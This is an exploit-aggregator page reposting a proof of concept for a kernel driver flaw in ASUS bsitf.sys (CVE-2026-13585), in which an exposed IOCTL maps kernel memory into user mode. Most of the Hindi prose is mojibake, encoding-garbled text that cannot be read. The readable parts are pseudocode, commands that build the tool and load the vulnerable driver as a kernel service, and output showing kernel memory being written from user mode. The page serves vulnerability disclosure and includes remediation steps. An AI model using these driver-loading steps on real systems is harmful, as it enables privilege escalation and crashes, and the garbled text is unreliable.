Sploitus

Exploit for asus-bsitf-0-day-poc

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN140 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-416REHMAN-ASUS-BSITF-0-DAY-POC
# POC - ASUS bsitf.sys рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдореИрдкрд┐рдВрдЧ рдЯреВ рдпреВрдЬрд╝рд░рдореЛрдб

CVE-2026-13585

## рд╕рд╛рд░рд╛рдВрд╢

ASUS `bsitf.sys` (рдЬрд┐рд╕реЗ `AsusBSItf.sys` рдХреЗ рд░реВрдк рдореЗрдВ рднреА рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) рдХрд░реНрдиреЗрд▓ рдбреНрд░рд╛рдЗрд╡рд░ IOCTL `0x222808` рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░-рдирд┐рдпрдВрддреНрд░рд┐рдд рдЖрдХрд╛рд░ рдХреА рднреМрддрд┐рдХ рд░реВрдк рд╕реЗ рд╕рдиреНрдирд┐рдХрдЯ рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЗрд╕реЗ рдкреВрд░реНрдг рдкрдврд╝рдиреЗ/рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрддрд╛ рд╕реНрдерд╛рди рдореЗрдВ рдореИрдк рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдХреЙрд▓рд░ рдХреЛ рдпреВрдЬрд╝рд░рдореЛрдб рд╡рд░реНрдЪреБрдЕрд▓ рдкрддрд╛ рдФрд░ рднреМрддрд┐рдХ рдкрддрд╛ рджреЛрдиреЛрдВ рд▓реМрдЯрд╛рддрд╛ рд╣реИред

рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╢рд╛рд╕рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдЗрд╕реЗ рдкреНрд░рд╢рд╛рд╕рдХ-рд╕реЗ-рдХрд░реНрдиреЗрд▓ рдПрд╕реНрдХреЗрд▓реЗрд╢рди рдмрдирд╛рддрд╛ рд╣реИред BYOVD (рдЕрдкрдирд╛ рд╕реНрд╡рдпрдВ рдХрд╛ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдбреНрд░рд╛рдЗрд╡рд░ рд▓рд╛рдПрдВ) рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╢рд╛рд╕рдХ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реЛрд╢рд▓ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдпрд╛ рдПрдХ рдЕрд▓рдЧ рд╢реЛрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдЗрд╕ рдХрд╛рдиреВрдиреА рд░реВрдк рд╕реЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдбреНрд░рд╛рдЗрд╡рд░ рдХреЛ рд▓реЛрдб рдХрд░рдХреЗ рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдмрд┐рдирд╛ рдордирдорд╛рдирд╛ рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

## рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

рд╕рдВрд╕реНрдХрд░рдг| рдлрд╝рд╛рдЗрд▓ рдирд╛рдо| рдкреИрдХреЗрдЬ| рдкреВрд▓ рдкреНрд░рдХрд╛рд░  
---|---|---|---  
3.0.10.0| bsitf.sys| ASUS Business Manager / AbmSvcPackage| `NonPagedPool` (executable)  
3.1.10.0| AsusBSItf.sys| ASUS SCI / AsusSoftwareManager| `NonPagedPoolNx`  
3.1.25.0| AsusBSItf.sys| ASUS SCI / AsusSoftwareManager| `NonPagedPoolNx`  
  
рд╕рднреА рд╕рдВрд╕реНрдХрд░рдг рдбрд┐рд╡рд╛рдЗрд╕ `\Device\bsitf` рдХреЛ рд╕рд┐рдорд▓рд┐рдВрдХ `\DosDevices\bsitf` рдХреЗ рд╕рд╛рде рдмрдирд╛рддреЗ рд╣реИрдВред

## рдкреНрд░рднрд╛рд╡

рдореИрдк рдХрд┐рдпрд╛ рдЧрдпрд╛ рдмрдлрд░ рдПрдХ рдирдпрд╛ рдХрд░реНрдиреЗрд▓ рдкреВрд▓ рдЖрд╡рдВрдЯрди рд╣реИ, рди рдХрд┐ рдПрдХ рдордирдорд╛рдирд╛ рдХрд░реНрдиреЗрд▓ рдкрддрд╛ред рдХреЙрд▓рд░ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рд╕реНрдерд╛рди рдХреЛ рдирд╣реАрдВред рдпрд╣ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдордирдорд╛рдиреЗ рдХрд░реНрдиреЗрд▓ R/W рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рд╢реЛрд╖рдг рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддрд╛ рд╣реИред

  * **рдХрд░реНрдиреЗрд▓ рдкреВрд▓ рд╕рдорд╛рдкреНрддрд┐ (DoS)** тАФ рдореБрдХреНрдд рдХрд┐рдП рдмрд┐рдирд╛ рдмрд╛рд░-рдмрд╛рд░ рдЖрд╡рдВрдЯрди рд╕реЗ NonPagedPool рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ BSOD рд╣реЛрдЧрд╛ред рдХреЛрдИ рдЖрдХрд╛рд░ рд╕реАрдорд╛ рдпрд╛ рдЖрд╡рдВрдЯрди рд╕реАрдорд╛ рд▓рд╛рдЧреВ рдирд╣реАрдВ рдХреА рдЧрдИ рд╣реИред
  * **рднреМрддрд┐рдХ рдкрддрд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг** тАФ IOCTL рдкреНрд░рддреНрдпреЗрдХ рдЖрд╡рдВрдЯрди рдХрд╛ рднреМрддрд┐рдХ рдкрддрд╛ рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕реВрдЪрдирд╛ рд▓реАрдХ рдпрд╛ DMA-рдЖрдзрд╛рд░рд┐рдд рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред
  * **рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рд╕реНрдЯреЗрдЬрд┐рдВрдЧ (рдХреЗрд╡рд▓ v3.0.x)** тАФ рд╕рдВрд╕реНрдХрд░рдг 3.0.10.0 рдкрд░, рдкреВрд▓ рдкреНрд░рдХрд╛рд░ NonPagedPool (executable) рд╣реИред рд╢реЗрд▓рдХреЛрдб рдХреЛ рдпреВрдЬрд╝рд░рдореЛрдб рд╕реЗ рдореИрдк рдХрд┐рдП рдЧрдП рдмрдлрд░ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХрд░реНрдиреЗрд▓ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдмрдлрд░ рдкрддреЗ рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рдХрдордЬреЛрд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред



v3.1.x рд╕рдВрд╕реНрдХрд░рдгреЛрдВ (NonPagedPoolNx) рдкрд░, рдмрдлрд░ рдЧреИрд░-рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╣реИ рдФрд░ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдкреНрд░рднрд╛рд╡ DoS рдФрд░ рднреМрддрд┐рдХ рдкрддрд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг рддрдХ рд╕реАрдорд┐рдд рд╣реИред

## рдореВрд▓ рдХрд╛рд░рдг

рдбрд┐рд╕реНрдкреИрдЪ рд╣реИрдВрдбрд▓рд░ рдореЗрдВ IOCTL `0x222808` рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдХреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ:

root@kitploit:~
    
    
    alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer;  // user-controlled
    
    kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
    mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
    MmBuildMdlForNonPagedPool(mdl);
    user_va = MmMapLockedPages(mdl, UserMode);
    
    output[0] = user_va;        // usermode virtual address
    output[1] = physical_addr;  // physical address of allocation
    

рдЖрд╡рдВрдЯрди рдЖрдХрд╛рд░, рдмрдХрд╛рдпрд╛ рдЖрд╡рдВрдЯрди рдЧрдгрдирд╛, рдпрд╛ рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдкрд░ рдХреЛрдИ рдЬрд╛рдВрдЪ рдирд╣реАрдВ рд╣реИред рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╢рд╛рд╕рдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ рдмрд╛рд░ рд╣реИрдВрдбрд▓ рдкреНрд░рд╛рдкреНрдд рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, IOCTL рдЕрдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИрдВред

## рдкреНрд░рдорд╛рдг-рдЕрд╡рдзрд╛рд░рдгрд╛

### рдмрд┐рд▓реНрдб

root@kitploit:~
    
    
    cargo build --release
    

### рдбреНрд░рд╛рдЗрд╡рд░ рд▓реЛрдб рдХрд░реЗрдВ

root@kitploit:~
    
    
    sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
    sc start bsitf
    

### рдЪрд▓рд╛рдПрдВ

root@kitploit:~
    
    
    # default: 0x1000 (4KB) allocation
    cargo run --release
    
    # custom size (hex)
    cargo run --release -- 10000
    

### рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрдЙрдЯрдкреБрдЯ

root@kitploit:~
    
    
    [*] bsitf.sys kernel memory mapping PoC
    [*] target alloc size: 0x1000
    
    [+] device handle acquired
    
    [*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
    [+] kernel allocation succeeded:
        usermode VA:     0x000001D856F90000
        physical addr:   0x00000000BF6CB000
    
    [*] original contents (first 16 bytes):
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    
    [*] writing 0xCC pattern (int3 sled)...
    [+] readback: usermode R/W CONFIRMED
    
    [*] freeing kernel mapping via IOCTL 0x22280C
    [+] mapping freed successfully
    

Windows 11 24H2 рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ (рдкреНрд░рд╢рд╛рд╕рдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред

## рдЙрдкрдЪрд╛рд░

  1. рдЖрд╡рдВрдЯрди рдЖрдХрд╛рд░ рдХреЛ рдПрдХ рдЙрдЪрд┐рдд рдКрдкрд░реА рд╕реАрдорд╛ рдХреЗ рд╕рд╛рде рдорд╛рдиреНрдп рдХрд░реЗрдВ
  2. рдкреНрд░рддрд┐ рд╣реИрдВрдбрд▓ рдмрдХрд╛рдпрд╛ рдЖрд╡рдВрдЯрдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ
  3. рдХрд░реНрдиреЗрд▓ рдЖрд╡рдВрдЯрдиреЛрдВ рдХреЛ рдпреВрдЬрд╝рд░рдореЛрдб рдкрддрд╛ рд╕реНрдерд╛рди рдореЗрдВ рдореИрдк рди рдХрд░реЗрдВ
  4. рдпреВрдЬрд╝рд░рдореЛрдб рдХреЙрд▓рд░реЛрдВ рдХреЛ рднреМрддрд┐рдХ рдкрддреЗ рд╡рд╛рдкрд╕ рди рдХрд░реЗрдВ
  5. рд╕рднреА рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ `NonPagedPoolNx` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ



## рд╕рдордпрд░реЗрдЦрд╛

рджрд┐рдирд╛рдВрдХ| рдШрдЯрдирд╛  
---|---  
2026-04-06| рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдордЬреЛрд░реА рдХреА рдЦреЛрдЬ  
2026-04-06| Windows 11 24H2 рдкрд░ PoC рдХреА рдкреБрд╖реНрдЯрд┐  
2026-04-06| ASUS PSIRT рдХреЛ рд░рд┐рдкреЛрд░реНрдЯ рдкреНрд░рд╕реНрддреБрдд рдХреА рдЧрдИ  
  
## рд╕рдВрджрд░реНрдн

  * CWE-782: рдЕрдкрд░реНрдпрд╛рдкреНрдд рдЕрднрд┐рдЧрдо рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рд╕рд╛рде рдЙрдЬрд╛рдЧрд░ IOCTL
  * рдбрд┐рд╡рд╛рдЗрд╕: `\Device\bsitf`, рд╕рд┐рдорд▓рд┐рдВрдХ: `\DosDevices\bsitf`
  * рдбрд┐рд╕реНрдкреИрдЪ рд╣реИрдВрдбрд▓рд░: `FUN_140001070`



## рдЕрд╕реНрд╡реАрдХрд░рдг

рдпрд╣ рдкреНрд░рдорд╛рдг-рдЕрд╡рдзрд╛рд░рдгрд╛ рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдФрд░ рдЬрд┐рдореНрдореЗрджрд╛рд░ рдкреНрд░рдХрдЯреАрдХрд░рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рд╡рд┐рд░реБрджреНрдз рди рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рдЖрдк рдорд╛рд▓рд┐рдХ рдирд╣реАрдВ рд╣реИрдВ рдпрд╛ рдЬрд┐рдирдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреА рдЖрдкрдХреЛ рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред